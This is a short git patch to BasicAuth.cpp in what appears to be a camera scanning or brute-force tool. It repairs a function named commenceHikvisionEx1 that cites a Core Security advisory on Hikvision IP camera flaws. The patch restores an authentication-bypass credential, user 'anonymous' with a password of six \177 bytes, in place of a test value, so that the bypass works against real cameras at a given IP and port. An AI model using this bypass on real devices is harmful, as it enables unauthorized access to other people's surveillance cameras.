From fae165357dc1bdbe233a3045f40d6e8e01302766 Mon Sep 17 00:00:00 2001 From: cora32 Date: Mon, 20 Apr 2015 22:27:44 +0300 Subject: [PATCH] HikvisionEx1 fix. --- BasicAuth.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 1f2f989..28e77de 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -39,8 +39,7 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) { //http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities 2 inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode) { - //std::string lpString = string("anonymous") + ":" + string("\177\177\177\177\177\177"); - std::string lpString = string("anonymous") + ":" + string("123"); + std::string lpString = string("anonymous") + ":" + string("\177\177\177\177\177\177"); string buffer; int res = Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString, digestMode);